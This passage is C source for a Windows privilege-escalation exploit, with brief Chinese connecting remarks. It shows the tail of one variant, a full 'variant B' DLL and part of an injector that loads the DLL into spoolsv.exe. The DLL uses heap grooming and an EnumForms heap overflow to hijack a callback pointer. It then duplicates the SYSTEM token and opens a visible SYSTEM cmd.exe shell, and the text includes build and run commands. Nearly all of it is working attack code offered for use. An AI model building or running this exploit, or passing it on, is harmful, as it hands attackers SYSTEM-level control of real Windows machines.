        if (g_spray[i]) {
            LONGLONG d = (LONGLONG)g_spray[i] - (LONGLONG)buffer;
            if (d > 0 && d < min_d) { min_d = d; tidx = i; target = g_spray[i]; }
        }
    }
    if (!target) { LOG(\"[-] No adjacent target\
\"); goto done; }

    DWORD delta = (DWORD)min_d;
    LOG(\"    target spray[%d] at %p (delta=0x%X)\
\", tidx, target, delta);
    LOG(\"[+] Step 5 complete: victim dropped next to spray[%d]\
\", tidx);

    STEP(\"STEP 6: PRECISION OVERFLOW (cbBuf = needed + shift)\");

    DWORD shift = delta - custom_off;
    DWORD cbBuf = needed + shift;

    LOG(\"\
[*] Step 6: Precision overflow\
\");
    LOG(\"    custom_off=0x%X, delta=0x%X, shift=0x%X, cbBuf=0x%X\
\",
        custom_off, delta, shift, cbBuf);

    __try {
        DWORD n = 0, r = 0;
        pEnum(hPrinter, 1, buffer, cbBuf, &n, &r);
        LOG(\"    Overflow triggered: ret=%u\
\", r);
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        LOG(\"    EXCEPTION during overflow\
\");
    }
    LOG(\"[+] Step 6 complete: packed name deposited at the neighbor\
\");

    STEP(\"STEP 7: VERIFY THE CORRUPTION AND EXECUTE\");

    LOG(\"\
[*] Step 7: Checking target corruption\
\");

    __try {
        UINT_PTR written_ptr = (UINT_PTR)target->callback;
        LOG(\"    target->callback = 0x%p\
\", (void *)written_ptr);
        LOG(\"    shellcode_addr   = 0x%p\
\", (void *)shellcode_addr);
        LOG(\"    target->marker   = 0x%08X (was 0xCAFEBABE)\
\", target->marker);

        if (written_ptr == shellcode_addr) {
            LOG(\"\
    [!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!\
\");
            LOG(\"    [!!!] Calling through corrupted pointer...\
\
\");
            target->callback();
            LOG(\"    [!!!] SHELLCODE EXECUTED SUCCESSFULLY!\
\");
            LOG(\"    [!!!] Check %s for proof.\
\", PROOF_FILE);
        } else if (written_ptr != 0) {
            LOG(\"\
    [*] Callback overwritten but does not match exactly.\
\");
            LOG(\"    [*] Written: 0x%p, Expected: 0x%p\
\",
                (void *)written_ptr, (void *)shellcode_addr);
        } else {
            LOG(\"\
    [-] Callback not overwritten (still NULL)\
\");
            LOG(\"    [*] Offset calculation may need adjustment\
\");
        }
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        LOG(\"    EXCEPTION 0x%08X during callback check\
\", GetExceptionCode());
    }
    LOG(\"[+] Step 7 complete\
\");

done:
    if (buffer) HeapFree(g_heap, 0, buffer);
    for (i = 0; i < SPRAY_COUNT; i++) {
        if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }
    }
    pDeleteForm(hPrinter, g_form_name);
    __try { pClose(hPrinter); } __except(1) {}
    if (g_shellcode) VirtualFree(g_shellcode, 0, MEM_RELEASE);

    LOG(\"\
============================================================\
\");
    LOG(\"  EXPLOIT COMPLETE. spoolsv.exe PID=%u still running.\
\", GetCurrentProcessId());
    LOG(\"============================================================\
\");
    fclose(g_log);
    g_log = NULL;
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    (void)reserved;
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
    }
    return TRUE;
}

exploit 的变体 B 如下:

/*
 * exploit_stage4_shell_clean.c -- EnumForms heap-overflow EoP, variant B (visible shell).
 *
 *   Byte-for-byte the same as exploit_stage4_exec_clean.c except (1) it streams its staged
 *   narration live to the injector's console through a named pipe instead of a log file --
 *   so the whole sequence shows up in the same output as the injection -- and
 *   (2) shellcode_func's spawn tail: instead of a plain Session-0 CreateProcessW, it
 *   duplicates the SYSTEM token, retargets it to the active console session, and launches
 *   cmd.exe on the interactive desktop so you get a SYSTEM shell you can see and type in.
 *
 *   Build: cl /W4 /O2 /LD exploit_stage4_shell_clean.c /Fe:payload_shell.dll
 *   Run:   inject_enumforms.exe payload_shell.dll     (admin + SeDebug)
 *   Output: the injector console (staged stream, relayed live from spoolsv Session 0)
 *           C:\\Windows\\Temp\\EXPLOITED.txt            (SYSTEM token proof)
 *           C:\\Windows\\Temp\\enumforms_inject_log.txt (fallback log if loaded directly)
 */

#include <windows.h>
#include <sddl.h>
#include <wtsapi32.h>
#include <stdio.h>

#pragma comment(lib, \"advapi32.lib\")

#define PIPE_NAME  L\"\\\\\\\\.\\\\pipe\\\\ers11_enumforms\"
#define LOG_FILE   \"C:\\\\Windows\\\\Temp\\\\enumforms_inject_log.txt\"
#define PROOF_FILE \"C:\\\\Windows\\\\Temp\\\\EXPLOITED.txt\"

static HANDLE g_pipe = INVALID_HANDLE_VALUE;
static FILE  *g_log  = NULL;

static void LOG_RAW(const char *s, int len) {
    if (g_pipe != INVALID_HANDLE_VALUE) {
        DWORD wr = 0;
        WriteFile(g_pipe, s, (DWORD)len, &wr, NULL);
    } else if (g_log) {
        fwrite(s, 1, (size_t)len, g_log);
        fflush(g_log);
    }
}

static void LOG(const char *fmt, ...) {
    char line[1024];
    int n;
    va_list ap;

    va_start(ap, fmt);
    n = _vsnprintf_s(line, sizeof(line), _TRUNCATE, fmt, ap);
    va_end(ap);
    if (n < 0) n = (int)strlen(line);
    LOG_RAW(line, n);
}

static void STEP(const char *title) {
    LOG(\"\
============================================================\
\");
    LOG(\"  %s\
\", title);
    LOG(\"============================================================\
\");
}

static void close_log(void) {
    if (g_pipe != INVALID_HANDLE_VALUE) { CloseHandle(g_pipe); g_pipe = INVALID_HANDLE_VALUE; }
    if (g_log) { fclose(g_log); g_log = NULL; }
}

typedef BOOL (WINAPI *PFN_OpenPrinterW)(LPWSTR, LPHANDLE, LPVOID);
typedef BOOL (WINAPI *PFN_EnumFormsW)(HANDLE, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *PFN_ClosePrinter)(HANDLE);
typedef BOOL (WINAPI *PFN_AddFormW)(HANDLE, DWORD, LPBYTE);
typedef BOOL (WINAPI *PFN_DeleteFormW)(HANDLE, LPWSTR);

typedef void (*PFN_CALLBACK)(void);

typedef struct _SPRAY_OBJ {
    PFN_CALLBACK callback;
    DWORD marker;
    DWORD index;
    BYTE padding[1];
} SPRAY_OBJ;

#define SPRAY_COUNT     300
#define HOLE_INTERVAL   4

static SPRAY_OBJ *g_spray[SPRAY_COUNT];
static HANDLE g_heap;
static PVOID g_shellcode = NULL;
static wchar_t g_form_name[128];

static DWORD pick_interactive_session(void) {
    DWORD sid = 0xFFFFFFFF;
    HMODULE h = LoadLibraryW(L\"wtsapi32.dll\");
    if (h) {
        typedef BOOL (WINAPI *PFN_Enum)(HANDLE, DWORD, DWORD, PWTS_SESSION_INFOW *, DWORD *);
        typedef void (WINAPI *PFN_Free)(PVOID);
        PFN_Enum pEnum = (PFN_Enum)GetProcAddress(h, \"WTSEnumerateSessionsW\");
        PFN_Free pFree = (PFN_Free)GetProcAddress(h, \"WTSFreeMemory\");
        if (pEnum && pFree) {
            PWTS_SESSION_INFOW list = NULL; DWORD count = 0;
            if (pEnum((HANDLE)NULL, 0, 1, &list, &count)) {
                for (DWORD k = 0; k < count; k++)
                    if (list[k].State == WTSActive) { sid = list[k].SessionId; break; }
                pFree(list);
            }
        }
        FreeLibrary(h);
    }
    if (sid == 0xFFFFFFFF) sid = WTSGetActiveConsoleSessionId();
    return sid;
}

static void __cdecl shellcode_func(void) {
    HANDLE hToken = NULL, hFile; DWORD written; char buf[4096]; int pos = 0;

    pos += sprintf_s(buf + pos, sizeof(buf) - pos,
        \"============================================================\\r\
\"
        \"  EXPLOIT PROOF: Code Execution as SYSTEM\\r\
\"
        \"  spoolsv.exe EnumForms Heap Overflow (CWE-122 / CWE-787)\\r\
\"
        \"============================================================\\r\
\\r\
\");

    pos += sprintf_s(buf + pos, sizeof(buf) - pos,
        \"Process: spoolsv.exe (PID %u)\\r\
\", GetCurrentProcessId());

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        BYTE tu[256]; DWORD rl = 0;
        if (GetTokenInformation(hToken, TokenUser, tu, sizeof(tu), &rl)) {
            WCHAR name[128] = {0}, dom[128] = {0}; DWORD nl = 128, dl = 128; SID_NAME_USE use;
            if (LookupAccountSidW(NULL, ((TOKEN_USER *)tu)->User.Sid, name, &nl, dom, &dl, &use))
                pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"Token User: %S\\\\%S\\r\
\", dom, name);
            LPWSTR sid = NULL;
            if (ConvertSidToStringSidW(((TOKEN_USER *)tu)->User.Sid, &sid)) {
                pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"Token SID:  %S\\r\
\", sid); LocalFree(sid);
            }
        }

        BYTE tp[2048];
        if (GetTokenInformation(hToken, TokenPrivileges, tp, sizeof(tp), &rl)) {
            TOKEN_PRIVILEGES *pv = (TOKEN_PRIVILEGES *)tp;
            pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"Token Privileges: %u\\r\
\", pv->PrivilegeCount);
            for (DWORD k = 0; k < pv->PrivilegeCount && k < 30; k++) {
                WCHAR pn[128] = {0}; DWORD pl = 128;
                if (LookupPrivilegeNameW(NULL, &pv->Privileges[k].Luid, pn, &pl)) {
                    DWORD a = pv->Privileges[k].Attributes;
                    const char *st = (a & SE_PRIVILEGE_ENABLED) ? \"Enabled\" :
                                     (a & SE_PRIVILEGE_ENABLED_BY_DEFAULT) ? \"Default\" : \"Disabled\";
                    pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"  %S [%s]\\r\
\", pn, st);
                }
            }
        }

        BYTE ti[128];
        if (GetTokenInformation(hToken, TokenIntegrityLevel, ti, sizeof(ti), &rl)) {
            TOKEN_MANDATORY_LABEL *lbl = (TOKEN_MANDATORY_LABEL *)ti;
            DWORD *sa = GetSidSubAuthority(lbl->Label.Sid,
                          (DWORD)(UCHAR)(*GetSidSubAuthorityCount(lbl->Label.Sid) - 1));
            const char *lv = (*sa >= 0x4000) ? \"SYSTEM\" : (*sa >= 0x3000) ? \"High\" :
                             (*sa >= 0x2000) ? \"Medium\" : \"Low\";
            pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"Integrity Level: %s (0x%X)\\r\
\", lv, *sa);
        }
        CloseHandle(hToken);
    }

    pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"\\r\
[*] Spawning SYSTEM shell in user session...\\r\
\");

    HANDLE hSysToken = NULL, hNewToken = NULL; BOOL shellOk = FALSE;
    STARTUPINFOW si = {0}; si.cb = sizeof si; si.lpDesktop = L\"WinSta0\\\\Default\";
    PROCESS_INFORMATION pi = {0};
    WCHAR sysDir[MAX_PATH], cmd[MAX_PATH]; GetSystemDirectoryW(sysDir, MAX_PATH);
    swprintf_s(cmd, MAX_PATH, L\"%s\\\\cmd.exe\", sysDir);

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hSysToken)) {
        if (DuplicateTokenEx(hSysToken, TOKEN_ALL_ACCESS, NULL,
                             SecurityImpersonation, TokenPrimary, &hNewToken)) {
            DWORD sessionId = pick_interactive_session();
            pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"[*] Target session: %lu\\r\
\", sessionId);
            SetTokenInformation(hNewToken, TokenSessionId, &sessionId, sizeof(DWORD));
            shellOk = CreateProcessAsUserW(hNewToken, NULL, cmd, NULL, NULL, FALSE,
                                           CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
        }
        CloseHandle(hSysToken);
    }

    if (shellOk) {
        pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"[+] SYSTEM shell created! PID: %lu\\r\
\", pi.dwProcessId);
        BYTE stu[256]; DWORD srl = 0; LPWSTR ssid = NULL;
        if (GetTokenInformation(hNewToken, TokenUser, stu, sizeof(stu), &srl) &&
            ConvertSidToStringSidW(((TOKEN_USER *)stu)->User.Sid, &ssid)) {
            pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"[+] Shell token SID: %S\\r\
\", ssid); LocalFree(ssid);
        }
        CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
    } else {
        pos += sprintf_s(buf + pos, sizeof(buf) - pos,
            \"[ - ] CreateProcessAsUserW failed: %lu (need an active console session to target)\\r\
\"
            \"[*] The token proof above still confirms SYSTEM execution inside spoolsv.\\r\
\",
            GetLastError());
    }
    if (hNewToken) CloseHandle(hNewToken);

    LOG_RAW(buf, pos);

    hFile = CreateFileA(PROOF_FILE, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, buf, pos, &written, NULL); CloseHandle(hFile); }
}

static void encode_address_as_form_name(UINT_PTR addr, wchar_t *name, int max_len) {
    BYTE *bytes = (BYTE *)&addr; int i, wchar_count = 0;
    name[0] = 0;
    for (i = 0; i < 8; i += 2) {
        wchar_t wc = (wchar_t)(bytes[i] | (bytes[i+1] << 8));
        if (wc == 0) break;
        name[wchar_count++] = wc;
        if (wchar_count >= max_len - 1) break;
    }
    name[wchar_count] = 0;
}

static DWORD WINAPI WorkerThread(LPVOID param) {
    (void)param;
    HMODULE hSpoolss;
    PFN_OpenPrinterW pOpen; PFN_EnumFormsW pEnum; PFN_ClosePrinter pClose;
    PFN_AddFormW pAddForm; PFN_DeleteFormW pDeleteForm;
    HANDLE hPrinter = NULL; DWORD needed = 0, returned = 0; int i;
    BYTE *buffer = NULL;

    Sleep(1000);
    g_pipe = CreateFileW(PIPE_NAME, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (g_pipe == INVALID_HANDLE_VALUE)
        g_log = fopen(LOG_FILE, \"w\");
    if (g_pipe == INVALID_HANDLE_VALUE && !g_log) return 1;

    LOG(\"============================================================\
\");
    LOG(\"  EXPLOIT STAGE 4: Code Execution via Heap Overflow\
\");
    LOG(\"  PID: %u (spoolsv.exe, NT AUTHORITY\\\\SYSTEM)\
\", GetCurrentProcessId());
    LOG(\"============================================================\
\");

    STEP(\"STEP 0: BUILD TRAMPOLINE AND ENCODE TARGET ADDRESS\");

    LOG(\"[*] Step 0: Preparing shellcode function\
\");
    UINT_PTR shellcode_addr = (UINT_PTR)&shellcode_func;
    LOG(\"    shellcode_func at: 0x%p\
\", (void *)shellcode_addr);

    BYTE *addr_bytes = (BYTE *)&shellcode_addr;
    LOG(\"    Address bytes: \");
    for (i = 0; i < 8; i++) LOG(\"%02X \", addr_bytes[i]);
    LOG(\"\
\");

    BOOL has_null_wchar = FALSE;
    for (i = 0; i < 6; i += 2) {
        wchar_t wc = (wchar_t)(addr_bytes[i] | (addr_bytes[i+1] << 8));
        if (wc == 0) { has_null_wchar = TRUE; break; }
    }

    if (has_null_wchar) {
        LOG(\"    [!] Address has a null wchar in the low 6 bytes\
\");
        LOG(\"    [*] Allocating a null-free executable page for a trampoline...\
\");

        for (UINT_PTR try_addr = 0x10010000; try_addr < 0x7FFF0000; try_addr += 0x10000) {
            BYTE *tb = (BYTE *)&try_addr;
            wchar_t w0 = (wchar_t)(tb[0] | (tb[1] << 8));
            wchar_t w1 = (wchar_t)(tb[2] | (tb[3] << 8));
            if (w0 != 0 && w1 != 0) {
                g_shellcode = VirtualAlloc((PVOID)try_addr, 4096,
                                           MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                if (g_shellcode) {
                    LOG(\"    [+] Shellcode at: 0x%p (null-free)\
\", g_shellcode);
                    BYTE *code = (BYTE *)g_shellcode;
                    code[0] = 0x48; code[1] = 0xB8;
                    *(UINT_PTR *)(code + 2) = shellcode_addr;
                    code[10] = 0xFF; code[11] = 0xE0;
                    shellcode_addr = (UINT_PTR)g_shellcode;
                    break;
                }
            }
        }
        if (!g_shellcode) {
            LOG(\"    [-] Cannot allocate null-free address\
\");
            LOG(\"    [*] Falling back to direct address\
\");
        }
    } else {
        LOG(\"    [+] Address is null-free; encoding it directly (no trampoline)\
\");
    }

    encode_address_as_form_name(shellcode_addr, g_form_name, 128);
    LOG(\"    Form name encoding: L\\\"\");
    for (i = 0; g_form_name[i]; i++) LOG(\"\\\\x%04X\", g_form_name[i]);
    LOG(\"\\\" + null\
\");

    UINT_PTR decoded = 0;
    BYTE *dec_bytes = (BYTE *)&decoded;
    for (i = 0; g_form_name[i] && i < 4; i++) {
        dec_bytes[i*2]   = (BYTE)(g_form_name[i] & 0xFF);
        dec_bytes[i*2+1] = (BYTE)(g_form_name[i] >> 8);
    }
    LOG(\"    Decoded address: 0x%p %s\
\", (void *)decoded,
        decoded == shellcode_addr ? \"(MATCH!)\" : \"(MISMATCH!)\");
    LOG(\"[+] Step 0 complete: callback value ready\
\");

    STEP(\"STEP 1: RESOLVE ROUTER EXPORTS AND OPEN PRINTER\");

    hSpoolss = GetModuleHandleW(L\"spoolss.dll\");
    if (!hSpoolss) hSpoolss = LoadLibraryW(L\"spoolss.dll\");
    LOG(\"[*] spoolss.dll at 0x%p\
\", (void *)hSpoolss);

    pOpen = (PFN_OpenPrinterW)GetProcAddress(hSpoolss, \"OpenPrinterW\");
    pEnum = (PFN_EnumFormsW)GetProcAddress(hSpoolss, \"EnumFormsW\");
    pClose = (PFN_ClosePrinter)GetProcAddress(hSpoolss, \"ClosePrinter\");
    pAddForm = (PFN_AddFormW)GetProcAddress(hSpoolss, \"AddFormW\");
    pDeleteForm = (PFN_DeleteFormW)GetProcAddress(hSpoolss, \"DeleteFormW\");

    if (!pOpen || !pEnum || !pClose || !pAddForm || !pDeleteForm) {
        LOG(\"[ - ] Could not resolve one or more router exports\
\");
        close_log(); return 1;
    }
    LOG(\"    [+] OpenPrinterW/EnumFormsW/ClosePrinter/AddFormW/DeleteFormW resolved\
\");

    __try {
        if (!pOpen(NULL, &hPrinter, NULL)) {
            LOG(\"[ - ] OpenPrinter: %u\
\", GetLastError());
            close_log(); return 1;
        }
    } __except(1) {
        LOG(\"[ - ] OpenPrinter exception\
\");
        close_log(); return 1;
    }
    LOG(\"    [+] Printer handle: 0x%p\
\", (void *)hPrinter);
    LOG(\"[+] Step 1 complete: router ready, local print server opened\
\");

    STEP(\"STEP 2: PLANT FORM WHOSE NAME ENCODES THE ADDRESS\");

    LOG(\"\
[*] Step 2: Adding form with encoded address name\
\");
    {
        typedef struct {
            DWORD Flags; LPWSTR pName; SIZEL Size; RECTL ImageableArea;
        } MY_FORM_INFO_1;

        MY_FORM_INFO_1 fi = {0};
        fi.Flags = 0;
        fi.pName = g_form_name;
        fi.Size.cx = 215900;
        fi.Size.cy = 279400;
        fi.ImageableArea.right = 215900;
        fi.ImageableArea.bottom = 279400;

        pDeleteForm(hPrinter, g_form_name);
        if (pAddForm(hPrinter, 1, (LPBYTE)&fi))
            LOG(\"    [+] Form added\
\");
        else
            LOG(\"    [ - ] AddForm: %u\
\", GetLastError());
    }
    LOG(\"[+] Step 2 complete: attacker bytes are now in the form store\
\");

    STEP(\"STEP 3: MEASURE LAYOUT (needed, custom_off)\");

    pEnum(hPrinter, 1, NULL, 0, &needed, &returned);
    LOG(\"\
[*] Step 3: needed=%u, forms=%u\
\", needed, returned);

    DWORD custom_off = 0;
    {
        BYTE *tmp = (BYTE *)HeapAlloc(GetProcessHeap(), 0, needed);
        if (tmp) {
            DWORD n = 0, r = 0;
            __try { pEnum(hPrinter, 1, tmp, needed, &n, &r); } __except(1) {}
            for (i = 0; i < (int)r; i++) {
                wchar_t *name = *(wchar_t **)(tmp + i*40 + 8);
                if (name && wcscmp(name, g_form_name) == 0) {
                    custom_off = (DWORD)((BYTE *)name - tmp);
                    LOG(\"    Custom form at index %d, string at buf+0x%X\
\",
                        i, custom_off);
                    break;
                }
            }
            HeapFree(GetProcessHeap(), 0, tmp);
        }
    }
    if (custom_off == 0) {
        LOG(\"[ - ] Cannot find custom form string\
\");
        goto done;
    }
    LOG(\"[+] Step 3 complete: our name packs at buf+0x%X in an honest buffer\
\", custom_off);

    STEP(\"STEP 4: SPRAY CALLBACK OBJECTS AND OPEN HOLES\");

    LOG(\"\
[*] Step 4: Spraying callback objects (size=0x%X)\
\", needed);
    g_heap = GetProcessHeap();

    for (i = 0; i < SPRAY_COUNT; i++) {
        g_spray[i] = (SPRAY_OBJ *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
        if (g_spray[i]) {
            g_spray[i]->callback = NULL;
            g_spray[i]->marker = 0xCAFEBABE;
            g_spray[i]->index = i;
        }
    }
    LOG(\"    [+] Sprayed %d SPRAY_OBJ blocks (marker 0xCAFEBABE)\
\", SPRAY_COUNT);

    for (i = HOLE_INTERVAL; i < SPRAY_COUNT; i += HOLE_INTERVAL) {
        if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }
    }
    LOG(\"    [+] Freed every %d-th block to open holes\
\", HOLE_INTERVAL);
    LOG(\"[+] Step 4 complete: heap groomed\
\");

    STEP(\"STEP 5: PLACE VICTIM BUFFER AND FIND THE NEIGHBOR\");

    buffer = (BYTE *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
    LOG(\"    buffer at %p\
\", buffer);

    SPRAY_OBJ *target = NULL;
    int tidx = -1;
    LONGLONG min_d = 0x7FFFFFFF;
    for (i = 0; i < SPRAY_COUNT; i++) {
        if (g_spray[i]) {
            LONGLONG d = (LONGLONG)g_spray[i] - (LONGLONG)buffer;
            if (d > 0 && d < min_d) { min_d = d; tidx = i; target = g_spray[i]; }
        }
    }
    if (!target) { LOG(\"[-] No adjacent target\
\"); goto done; }

    DWORD delta = (DWORD)min_d;
    LOG(\"    target spray[%d] at %p (delta=0x%X)\
\", tidx, target, delta);
    LOG(\"[+] Step 5 complete: victim dropped next to spray[%d]\
\", tidx);

    STEP(\"STEP 6: PRECISION OVERFLOW (cbBuf = needed + shift)\");

    DWORD shift = delta - custom_off;
    DWORD cbBuf = needed + shift;

    LOG(\"\
[*] Step 6: Precision overflow\
\");
    LOG(\"    custom_off=0x%X, delta=0x%X, shift=0x%X, cbBuf=0x%X\
\",
        custom_off, delta, shift, cbBuf);

    __try {
        DWORD n = 0, r = 0;
        pEnum(hPrinter, 1, buffer, cbBuf, &n, &r);
        LOG(\"    Overflow triggered: ret=%u\
\", r);
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        LOG(\"    EXCEPTION during overflow\
\");
    }
    LOG(\"[+] Step 6 complete: packed name deposited at the neighbor\
\");

    STEP(\"STEP 7: VERIFY THE CORRUPTION AND EXECUTE\");

    LOG(\"\
[*] Step 7: Checking target corruption\
\");

    __try {
        UINT_PTR written_ptr = (UINT_PTR)target->callback;
        LOG(\"    target->callback = 0x%p\
\", (void *)written_ptr);
        LOG(\"    shellcode_addr   = 0x%p\
\", (void *)shellcode_addr);
        LOG(\"    target->marker   = 0x%08X (was 0xCAFEBABE)\
\", target->marker);

        if (written_ptr == shellcode_addr) {
            LOG(\"\
    [!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!\
\");
            LOG(\"    [!!!] Calling through corrupted pointer...\
\
\");
            target->callback();
            LOG(\"    [!!!] SHELLCODE EXECUTED SUCCESSFULLY!\
\");
            LOG(\"    [!!!] Check %s for proof.\
\", PROOF_FILE);
        } else if (written_ptr != 0) {
            LOG(\"\
    [*] Callback overwritten but does not match exactly.\
\");
            LOG(\"    [*] Written: 0x%p, Expected: 0x%p\
\",
                (void *)written_ptr, (void *)shellcode_addr);
        } else {
            LOG(\"\
    [-] Callback not overwritten (still NULL)\
\");
            LOG(\"    [*] Offset calculation may need adjustment\
\");
        }
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        LOG(\"    EXCEPTION 0x%08X during callback check\
\", GetExceptionCode());
    }
    LOG(\"[+] Step 7 complete\
\");

done:
    if (buffer) HeapFree(g_heap, 0, buffer);
    for (i = 0; i < SPRAY_COUNT; i++) {
        if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }
    }
    pDeleteForm(hPrinter, g_form_name);
    __try { pClose(hPrinter); } __except(1) {}
    if (g_shellcode) VirtualFree(g_shellcode, 0, MEM_RELEASE);

    LOG(\"\
============================================================\
\");
    LOG(\"  EXPLOIT COMPLETE. spoolsv.exe PID=%u still running.\
\", GetCurrentProcessId());
    LOG(\"============================================================\
\");
    close_log();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    (void)reserved;
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
    }
    return TRUE;
}

注入器代码(inject\_enumforms.c)和之前的那个基本一样,如下:

/*
 * inject_enumforms.c -- Injector: loads our DLL into spoolsv.exe and relays the
 *   payload's staged output live into this console.
 *
 * 1. Finds spoolsv.exe PID
 * 2. Opens the process
 * 3. Allocates memory in spoolsv and writes the DLL path
 * 4. Creates a remote thread calling LoadLibraryW
 * 5. The DLL's DllMain starts the exploit worker, which connects back to the relay
 *    pipe this injector created and streams every stage line here.
 *
 * spoolsv.exe runs in Session 0 with no console, so the payload cannot printf to this
 * window directly. The injector therefore stands up a one-instance named pipe
 * (\\\\.\\pipe\\ers11_enumforms) BEFORE injecting; the payload connects to it as a client
 * and writes its staged narration, which we read and print here -- so the whole
 * sequence appears in a single output, the way the DLL-injection articles show it,
 * with no separate log file to open afterwards.
 *
 * Compile: cl /W4 /O2 inject_enumforms.c advapi32.lib
 *
 * Must run as Administrator (needs SeDebugPrivilege)
 */

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

#pragma comment(lib, \"advapi32.lib\")

#define PIPE_NAME L\"\\\\\\\\.\\\\pipe\\\\ers11_enumforms\"

static BOOL EnableDebugPrivilege(void) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;

    if (!LookupPrivilegeValueW(NULL, L\"SeDebugPrivilege\", &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);

    return ok && GetLastError() == ERROR_SUCCESS;
}

static DWORD FindProcessByName(const wchar_t *name) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
    DWORD pid = 0;

    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, name) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32NextW(snap, &pe));
    }

    CloseHandle(snap);
    return pid;
}

static BOOL RelayPayloadOutput(HANDLE hPipe, DWORD connectMs, DWORD overallMs) {
    HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    OVERLAPPED ov;
    DWORD start;
    BOOL connected = FALSE;

    if (!hEvent) return FALSE;

    ZeroMemory(&ov, sizeof(ov));
    ov.hEvent = hEvent;

    if (ConnectNamedPipe(hPipe, &ov)) {
        connected = TRUE;
    } else {
        DWORD e = GetLastError();
        if (e == ERROR_PIPE_CONNECTED) {
            connected = TRUE;
        } else if (e == ERROR_IO_PENDING) {
            if (WaitForSingleObject(hEvent, connectMs) == WAIT_OBJECT_0) {
                DWORD junk = 0;
                connected = GetOverlappedResult(hPipe, &ov, &junk, FALSE);
            }
        }
    }

    if (!connected) {
        CancelIo(hPipe);
        CloseHandle(hEvent);
        return FALSE;
    }

    printf(\"---- begin payload (spoolsv.exe, Session 0, NT AUTHORITY\\\\SYSTEM) ----\
\");

    start = GetTickCount();

    for (;;) {
        char buf[4096];
        DWORD got = 0;
        BOOL ok;

        ResetEvent(hEvent);
        ZeroMemory(&ov, sizeof(ov));
        ov.hEvent = hEvent;

        ok = ReadFile(hPipe, buf, sizeof(buf), &got, &ov);

        if (!ok) {
            DWORD e = GetLastError();
            if (e == ERROR_IO_PENDING) {
                DWORD remain = overallMs - (GetTickCount() - start);
                if ((int)remain <= 0) { CancelIo(hPipe); break; }
                if (WaitForSingleObject(hEvent, remain) != WAIT_OBJECT_0) { CancelIo(hPipe); break; }
                if (!GetOverlappedResult(hPipe, &ov, &got, FALSE)) break;
            } else {
                break;
            }
        }

        if (got == 0) break;

        fwrite(buf, 1, got, stdout);
        fflush(stdout);

        if (GetTickCount() - start > overallMs) break;
    }

    printf(\"---- end payload ----\
\");

    CloseHandle(hEvent);
    return TRUE;
}

int wmain(int argc, wchar_t *argv[]) {
    wchar_t dllPath[MAX_PATH];
    DWORD pid;
    HANDLE hProcess, hThread, hPipe;
    LPVOID remoteMem;
    SIZE_T written;
    DWORD exitCode;

    printf(\"============================================================\
\");
    printf(\"  spoolsv.exe DLL Injector for YEnumForms Test\
\");
    printf(\"============================================================\
\
\");

    if (argc > 1) {
        wchar_t rawPath[MAX_PATH];
        wcscpy_s(rawPath, MAX_PATH, argv[1]);
        if (!GetFullPathNameW(rawPath, MAX_PATH, dllPath, NULL)) {
            wcscpy_s(dllPath, MAX_PATH, rawPath);
        }
    } else {
        GetModuleFileNameW(NULL, dllPath, MAX_PATH);
        wchar_t *lastSlash = wcsrchr(dllPath, L'\\\\');
        if (lastSlash) *(lastSlash + 1) = 0;
        wcscat_s(dllPath, MAX_PATH, L\"payload_enumforms.dll\");
    }

    printf(\"[*] DLL: %S\
\", dllPath);

